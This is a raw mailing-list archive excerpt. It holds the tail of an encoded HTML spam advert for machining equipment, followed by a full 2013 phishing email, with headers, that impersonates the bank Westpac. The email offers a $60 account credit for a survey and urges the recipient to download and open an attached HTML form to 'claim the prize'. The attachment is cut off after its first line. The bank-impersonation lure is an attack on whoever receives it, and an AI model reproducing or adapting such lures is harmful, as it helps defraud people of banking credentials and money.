aCBwb3dlcmZ1bCBmbHVzaGluZyBkZXZpY2UgdGhhdCBlbnN1cmUgbWFjaGluZSBpcyBjbGVhbjxv OnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFw aCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDog MGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1F Ti1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJy aT5hdCBhbGwgdGltZS48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxIMyBzdHls ZT0iQkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0 Ij48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNl cmlmJyI+PG86cD48Rk9OVCBzaXplPTM+Jm5ic3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L0gzPg0K PEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbSBhdXRvIDE4cHQ7 IExJTkUtSEVJR0hUOiAxOHB0OyBURVhULUlOREVOVDogLTE4cHQ7IG1zby1saXN0OiBsMSBsZXZl bDEgbGZvMSI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxNnB0OyBGT05ULUZB TUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJzsgQkFDS0dST1VORDogeWVsbG93OyBDT0xPUjog cmVkOyBtc28taGlnaGxpZ2h0OiB5ZWxsb3c7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxp YnJpOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSI+PFNQQU4gc3R5bGU9Im1zby1saXN0 OiBJZ25vcmUiPjIuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5i c3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjxTUEFOIGxhbmc9RU4tVVMgc3R5 bGU9IkZPTlQtU0laRTogMTZwdDsgRk9OVC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZic7 IEJBQ0tHUk9VTkQ6IHllbGxvdzsgQ09MT1I6IHJlZDsgbXNvLWhpZ2hsaWdodDogeWVsbG93Ij5I b3Jpem9udGFsIE1hY2hpbmluZyBDZW50ZXItLS1YIHRyYXZlbCAtLS04MDB+MTUzMCBtbTxvOnA+ PC9vOnA+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9VTkQ6IHdoaXRlOyBNQVJHSU46 IGF1dG8gMGNtIGF1dG8gMThwdDsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+ TW9kZWw6PG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9V TkQ6IHdoaXRlOyBNQVJHSU46IGF1dG8gMGNtIGF1dG8gMThwdDsgTElORS1IRUlHSFQ6IDE4cHQi PjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2Vy aWYnIj48Rk9OVCBzaXplPTM+RkVBVFVSRVM6PG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvSDM+ DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4 cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1z by1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48U1RST05HPjxGT05UIGZhY2U9Q2FsaWJyaT5JOiBN b3ZpbmcgY29sdW1uIHN0cnVjdHVyZSBkZXNpZ24gY2FuIHNvbHV0aW9uIHRoZSBzcGluZGxlIGhl YWQgdmlicmF0aW9uIGFuZCBwcmV2ZW50IHJpZ2lkaXR5IG1vdmVtZW50LjxvOnA+PC9vOnA+PC9G T05UPjwvU1RST05HPjwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxl PSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxC IHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0 eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPklJOiBE aXJlY3Qgc3BpbmRsZSBwcm92aWRlIGJldHRlciBwcmVjaXNpb24gYW5kIHJlZHVjZSBzcGluZGxl IHZpYnJhdGlvbi48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1z b0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEt bWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwi PjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9O VCBmYWNlPUNhbGlicmk+SUlJOiBIaWdoIHJpZ2lkaXR5IHJvbGxlciB0eXBlIExpbmVhciBHdWlk ZXdheSBvbiAzIGF4ZXMgdGhhdCBwcm92aWRpbmcgaGlnaCBwcmVjaXNpb24gbWFudWZhY3R1cmlu ZyBhbmQgbG9uZ2VyIHNlcnZpY2UgbGlmZS4gPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48 L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0 IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250 LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNp emU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPklWOiBDTkMgUm90YXJ5IHRhYmxlIGNoYW5n ZSBwcm92aWRpbmcgd29yayBwaWVjZSBsb2FkaW5nICZhbXA7IHVubG9hZGluZyB3aGVuIHByb2Nl c3Npbmc7IHNhdmluZyB0aW1lIG9uIHRoZSB3b3JrIHBpZWNlIGxvYWQgd2FpdGluZy48bzpwPjwv bzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+ PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+Vjog Q05DIFJvdGFyeSB0YWJsZSB1c2VzIHNlcnZlIG1vdG9yIGRyaXZpbmcsIHBvc2l0aW9uIGFjY3Vy YWN5IGV4YWN0bHkuIDxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9 TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFy YS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1h bCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxG T05UIGZhY2U9Q2FsaWJyaT5WSTogU2Npc3NvcnMgdHlwZSBvZiB0ZWxlc2NvcGljIGNvdmVyIGNh biByZWR1Y2UgbW90b3Igb3V0cHV0LCBub2lzZSwgaW5jcmVhc2UgbW92ZW1lbnQgc21vb3RoIGFu ZCBmb3JjZSBhdmVyYWdlLiA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNs YXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNv LXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBu b3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0 Ij48Rk9OVCBmYWNlPUNhbGlicmk+VklJOiBFeHRyYSBjaGlwIGZsdXNoaW5nIHN5c3RlbSB3aXRo IDMwIHNwb3V0cyBwcm92aWRpbmcgMyBmbHVzaGluZyBhcmVhcyBuZWVkLiBDaGlwIGZsdXNoaW5n IHN5c3RlbSBpcyBlZmZlY3RpdmUgaW5jcmVhc2UgMzMlIHVwIGZsdXNoaW5nLjxvOnA+PC9vOnA+ PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsgTUFS R0lOOiBhdXRvIDBjbSBhdXRvIDE4cHQ7IExJTkUtSEVJR0hUOiAxOHB0Ij48U1BBTiBsYW5nPUVO LVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJyI+PG86cD48Rk9O VCBzaXplPTM+Jm5ic3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNL R1JPVU5EOiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbSBhdXRvIDE4cHQ7IExJTkUtSEVJR0hUOiAx OHB0OyBURVhULUlOREVOVDogLTE4cHQ7IG1zby1saXN0OiBsMSBsZXZlbDEgbGZvMSI+PFNQQU4g bGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1TSVpFOiAxNnB0OyBGT05ULUZBTUlMWTogJ0NhbGlicmkn LCdzYW5zLXNlcmlmJzsgQkFDS0dST1VORDogeWVsbG93OyBtc28taGlnaGxpZ2h0OiB5ZWxsb3c7 IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tYmlkaS1mb250LWZhbWlseTog Q2FsaWJyaSI+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25vcmUiPjMuPFNQQU4gc3R5bGU9IkZP TlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQ QU4+PC9TUEFOPjxVPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtU0laRTogMTZwdDsgRk9O VC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZic7IEJBQ0tHUk9VTkQ6IHllbGxvdzsgbXNv LWhpZ2hsaWdodDogeWVsbG93Ij5NaWxsaW5nIE1hY2hpbmU8bzpwPjwvbzpwPjwvU1BBTj48L1U+ PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY20gYXV0 byAxOHB0OyBMSU5FLUhFSUdIVDogMThwdCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1G QU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZiciPjxGT05UIHNpemU9Mz5Nb2RlbCAxOiBWZXJ0 aWNhbCBhbmQgSG9yaXpvbnRhbCBNaWxsaW5nIE1hY2hpbmU8bzpwPjwvbzpwPjwvRk9OVD48L1NQ QU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY20g YXV0byAxOHB0OyBMSU5FLUhFSUdIVDogMThwdCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9O VC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZiciPjxGT05UIHNpemU9Mz5Nb2RlbCAyOiBC ZWQgVHlwZSBQQy1CYXNlZCA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9IMz4NCjxIMyBzdHls ZT0iQkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY20gYXV0byAxOHB0OyBMSU5FLUhF SUdIVDogMThwdCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdDYWxpYnJp Jywnc2Fucy1zZXJpZiciPjxGT05UIHNpemU9Mz5Nb2RlbCAzOiBLbmVlIFR5cGUgbWlsbGluZyBN YWNoaW5lPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9V TkQ6IHdoaXRlOyBNQVJHSU46IGF1dG8gMGNtIGF1dG8gMThwdDsgTElORS1IRUlHSFQ6IDE4cHQi PjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2Vy aWYnIj48Rk9OVCBzaXplPTM+RkVBVFVSRVM6IDUgZGlmZmVyZW50IG1vZGVscyBmb3IgeW91ciBk aWZmZXJlbnQgbmVlZHM8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9IMz4NCjxIMyBzdHlsZT0i QkFDS0dST1VORDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0Ij48 U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE2cHQ7IEZPTlQtRkFNSUxZOiAnQ2Fs aWJyaScsJ3NhbnMtc2VyaWYnOyBCQUNLR1JPVU5EOiB5ZWxsb3c7IENPTE9SOiBibGFjazsgbXNv LWhpZ2hsaWdodDogeWVsbG93OyBtc28tYmlkaS1mb250LWZhbWlseTogQXJpYWwiPjQ6IE9USEVS UyBNQUNISU5FUzwvU1BBTj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE2cHQ7 IEZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnOyBDT0xPUjogYmxhY2s7IG1zby1i aWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+PG86cD48L286cD48L1NQQU4+PC9IMz4NCjxQIGNsYXNz PU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFNQQU4gbGFuZz1FTi1VUz48 Rk9OVCBmYWNlPUNhbGlicmk+UGxlYXNlIGNoZWNrIHRoZSBmb2xsb3dpbmcgWW91VHViZSBoeXBl cmxpbmsgZm9yIHNvbWUgb2Ygb3VyIG9uLWxpbmUgUERGIGJyb2NodXJlIGZvciByZWZlcmVuY2Ug PC9GT05UPjwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNt IDBjbSAwcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT48U1BBTiBjbGFzcz1hcHBsZS1jb252ZXJ0ZWQt c3BhY2U+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iQk9SREVSLVRPUDogd2luZG93dGV4dCAxcHQ7 IEJPUkRFUi1SSUdIVDogd2luZG93dGV4dCAxcHQ7IEJPUkRFUi1CT1RUT006IHdpbmRvd3RleHQg MXB0OyBDT0xPUjogIzY2NjY2NjsgUEFERElORy1CT1RUT006IDBjbTsgUEFERElORy1UT1A6IDBj bTsgUEFERElORy1MRUZUOiAwY207IEJPUkRFUi1MRUZUOiB3aW5kb3d0ZXh0IDFwdDsgUEFERElO Ry1SSUdIVDogMGNtOyBtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdDsgbXNvLWJvcmRlci1hbHQ6 IG5vbmUgd2luZG93dGV4dCAwY20iPiZuYnNwOzwvU1BBTj48L1NQQU4+PFNQQU4gbGFuZz1FTi1V Uz48QSBocmVmPSJodHRwOi8veW91dHUuYmUvTG16Umpqb2l2eHMiIHRhcmdldD1fYmxhbms+PFNQ QU4gc3R5bGU9IkJPUkRFUi1UT1A6IHdpbmRvd3RleHQgMXB0OyBCT1JERVItUklHSFQ6IHdpbmRv d3RleHQgMXB0OyBCT1JERVItQk9UVE9NOiB3aW5kb3d0ZXh0IDFwdDsgQ09MT1I6ICM0MzhiYzU7 IFBBRERJTkctQk9UVE9NOiAwY207IFBBRERJTkctVE9QOiAwY207IFBBRERJTkctTEVGVDogMGNt OyBCT1JERVItTEVGVDogd2luZG93dGV4dCAxcHQ7IFBBRERJTkctUklHSFQ6IDBjbTsgbXNvLWJp ZGktZm9udC1zaXplOiAxMi4wcHQ7IG1zby1ib3JkZXItYWx0OiBub25lIHdpbmRvd3RleHQgMGNt Ij5odHRwOi8veW91dHUuYmUvTG16Umpqb2l2eHM8L1NQQU4+PC9BPjwvU1BBTj48U1BBTiBsYW5n PUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IENPTE9SOiAjNjY2NjY2Ij48bzpwPjwvbzpw PjwvU1BBTj48L0ZPTlQ+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBj bSAwY20gMHB0Ij48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDhwdDsgQk9SREVS LVRPUDogd2luZG93dGV4dCAxcHQ7IEZPTlQtRkFNSUxZOiAnQXJpYWwnLCdzYW5zLXNlcmlmJzsg Qk9SREVSLVJJR0hUOiB3aW5kb3d0ZXh0IDFwdDsgQk9SREVSLUJPVFRPTTogd2luZG93dGV4dCAx cHQ7IENPTE9SOiBibGFjazsgUEFERElORy1CT1RUT006IDBjbTsgUEFERElORy1UT1A6IDBjbTsg UEFERElORy1MRUZUOiAwY207IEJPUkRFUi1MRUZUOiB3aW5kb3d0ZXh0IDFwdDsgUEFERElORy1S SUdIVDogMGNtOyBtc28tYm9yZGVyLWFsdDogbm9uZSB3aW5kb3d0ZXh0IDBjbSI+PEJSIHN0eWxl PSJtc28tc3BlY2lhbC1jaGFyYWN0ZXI6IGxpbmUtYnJlYWsiPjxCUiBzdHlsZT0ibXNvLXNwZWNp YWwtY2hhcmFjdGVyOiBsaW5lLWJyZWFrIj48Rk9OVCBmYWNlPUNhbGlicmk+PC9GT05UPjwvU1BB Tj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiPjxT UEFOIGxhbmc9RU4tVVM+PG86cD48Rk9OVCBmYWNlPUNhbGlicmk+Jm5ic3A7PC9GT05UPjwvbzpw PjwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAw cHQiPjxTUEFOIGxhbmc9RU4tVVM+PEZPTlQgZmFjZT1DYWxpYnJpPk5vdyBKWSBNYWNoaW5lcnkg aXMgbG9va2luZyBmb3IgR2xvYmFsIGNvb3BlcmF0aW9uLCBFaXRoZXIgT0VNIHNlcnZpY2Ugb3Ig RGlzdHJpYnV0aW9uLCBXZWxjb21lPC9GT05UPjwvU1BBTj48L1A+DQo8UCBjbGFzcz1Nc29Ob3Jt YWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiPjxTUEFOIGxhbmc9RU4tVVM+PG86cD48Rk9O VCBmYWNlPUNhbGlicmk+Jm5ic3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L1A+DQo8SDMgc3R5bGU9 IkJBQ0tHUk9VTkQ6IHdoaXRlOyBNQVJHSU46IGF1dG8gMGNtOyBMSU5FLUhFSUdIVDogMThwdCI+ PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJp Zic7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IEFyaWFsIj48Rk9OVCBzaXpl PTM+U2hvdWxkIFlvdXIgRXhjZWxsZW5jeSBuZWVkIG1vcmUgaW5mb3JtYXRpb24gYWJvdXQgdXMg PG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9VTkQ6IHdo aXRlOyBNQVJHSU46IGF1dG8gMGNtOyBMSU5FLUhFSUdIVDogMThwdCI+PFNQQU4gbGFuZz1FTi1V UyBzdHlsZT0iRk9OVC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZic7IENPTE9SOiBibGFj azsgbXNvLWJpZGktZm9udC1mYW1pbHk6IEFyaWFsIj48Rk9OVCBzaXplPTM+UGxlYXNlIHNlbmQg dXMgeW91ciBpbnF1aXJ5LCB3ZSB3aWxsIG9mZmVyIHlvdSBtb3JlIGluZm9ybWF0aW9uIGZvciB5 b3VyIHJlZmVyZW5jZTxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJC QUNLR1JPVU5EOiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxT UEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYn OyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+PG86cD48Rk9OVCBz aXplPTM+Jm5ic3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNLR1JP VU5EOiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxh bmc9RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnOyBDT0xP UjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+PEZPTlQgc2l6ZT0zPlRoYW5r cyB5b3U8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VO RDogd2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0Ij48U1BBTiBsYW5n PUVOLVVTIHN0eWxlPSJGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJzsgQ09MT1I6 IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQXJpYWwiPjxvOnA+PEZPTlQgc2l6ZT0zPiZu YnNwOzwvRk9OVD48L286cD48L1NQQU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VORDogd2hp dGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0Ij48U1BBTiBsYW5nPUVOLVVT IHN0eWxlPSJGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJzsgQ09MT1I6IGJsYWNr OyBtc28tYmlkaS1mb250LWZhbWlseTogQXJpYWwiPjxGT05UIHNpemU9Mz5KWSBNYXJrZXRpbmcg VGVhbTxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5E OiB3aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9 RU4tVVMgc3R5bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnOyBDT0xPUjog YmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+PG86cD48Rk9OVCBzaXplPTM+Jm5i c3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L0gzPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0eWxlPSJN QVJHSU46IDBjbSAwY20gMHB0Ij48U1BBTiBsYW5nPUVOLVVTPjxvOnA+PEZPTlQgZmFjZT1DYWxp YnJpPiZuYnNwOzwvRk9OVD48L286cD48L1NQQU4+PC9QPg0KPFAgY2xhc3M9TXNvTm9ybWFsIHN0 eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48U1BBTiBsYW5nPUVOLVVTPjxvOnA+PEZPTlQgZmFj ZT1DYWxpYnJpPiZuYnNwOzwvRk9OVD48L286cD48L1NQQU4+PC9QPjwvQk9EWT48L0hUTUw+DQo= --=====wfi_YMeL97bRZ1q_WJXTcjOiXGR3vyqe2V_=====-- From customer.survey@westpac.com.au Tue Jul 2 21:43:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2BB1F7F72 for ; Tue, 2 Jul 2013 21:43:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 19A228F8035 for ; Tue, 2 Jul 2013 19:43:27 -0700 (PDT) X-ASG-Debug-ID: 1372819403-04cbb04691abec80001-w1Z2WR Received: from mail.cobblebeach.com (mail.cobblebeach.com [207.164.18.26]) by cuda.sgi.com with ESMTP id YApyG3Zzw3G9UeZT for ; Tue, 02 Jul 2013 19:43:23 -0700 (PDT) X-Barracuda-Envelope-From: customer.survey@westpac.com.au X-Barracuda-Apparent-Source-IP: 207.164.18.26 Received: from localhost (localhost [127.0.0.1]) by mail.cobblebeach.com (Postfix) with ESMTP id E7579188488 for ; Tue, 2 Jul 2013 22:43:22 -0400 (EDT) X-Virus-Scanned: amavisd-new at mail.cobblebeach.com Received: from mail.cobblebeach.com ([127.0.0.1]) by localhost (mail.cobblebeach.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id acxech2hpSuh for ; Tue, 2 Jul 2013 22:43:22 -0400 (EDT) Received: from westpac.com.au (93-63-81-5.ip26.fastwebnet.it [93.63.81.5]) by mail.cobblebeach.com (Postfix) with ESMTPA id 6B0DB188171 for ; Tue, 2 Jul 2013 22:43:19 -0400 (EDT) From: Westpac To: linux-xfs@oss.sgi.com Subject: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! Date: 03 Jul 2013 04:47:07 +0200 X-ASG-Orig-Subj: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! Message-ID: <20130703044707.8AD92B98363E573E@westpac.com.au> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_DB82769D.EC3A96D1" X-Barracuda-Connect: mail.cobblebeach.com[207.164.18.26] X-Barracuda-Start-Time: 1372819403 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, MARKETING_SUBJECT, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135647 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.60 MARKETING_SUBJECT Subject contains popular marketing words 1.00 BSF_SC0_TG194 Custom Rule TG194 This is a multi-part message in MIME format. ------=_NextPart_000_0012_DB82769D.EC3A96D1 Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Westpac Customer Satisfaction Survey Westpac will add 60$ credit to your account just for taking part=20 in our quick survey. Please take a few minutes to give us your opinion on our store=20 service. In order to access this Customer Satisfaction Survey please=20 download the form attached to this email and open it in a web=20 browser. Once opened, you will be provided with steps to claim your prize. Thank you, Westpac Online Department This is an automated message. Please don't reply. Message ID:=20 0059271624 ------=_NextPart_000_0012_DB82769D.EC3A96D1 Content-Type: application/octet-stream; name="Westpac_Customer_Satisfaction_Survey.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Westpac_Customer_Satisfaction_Survey.html" PEhUTUwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPjxCT0RZIGNsYXNz 